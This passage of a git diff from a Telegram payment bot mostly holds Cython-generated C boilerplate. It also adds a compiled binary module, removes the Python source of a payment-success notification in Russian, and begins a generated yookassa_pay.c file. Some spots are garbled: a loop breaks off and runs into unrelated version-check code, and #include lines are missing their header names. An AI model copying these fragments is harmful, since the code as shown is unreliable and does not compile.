__Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so b/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 00000000..5794b5dc Binary files /dev/null and b/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/utils.py b/handlers/payments/utils.py deleted file mode 100644 index 430c12f0..00000000 --- a/handlers/payments/utils.py +++ /dev/null @@ -1,20 +0,0 @@ -from aiogram.types import InlineKeyboardButton -from aiogram.utils.keyboard import InlineKeyboardBuilder - -from bot import bot -from logger import logger - - -async def send_payment_success_notification(user_id: int, amount: float): - try: - builder = InlineKeyboardBuilder() - builder.row( - InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile") - ) - await bot.send_message( - chat_id=user_id, - text=f"Ваш баланс успешно пополнен на {amount} рублей. Спасибо за оплату!", - reply_markup=builder.as_markup(), - ) - except Exception as e: - logger.error(f"Ошибка при отправке уведомления пользователю {user_id}: {e}") diff --git a/handlers/payments/yookassa_pay.c b/handlers/payments/yookassa_pay.c new file mode 100644 index 00000000..fec52f7f --- /dev/null +++ b/handlers/payments/yookassa_pay.c @@ -0,0 +1,19509 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.yookassa_pay", + "sources": [ + "handlers/payments/yookassa_pay.py" + ] + }, + "module_name": "handlers.payments.yookassa_pay" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 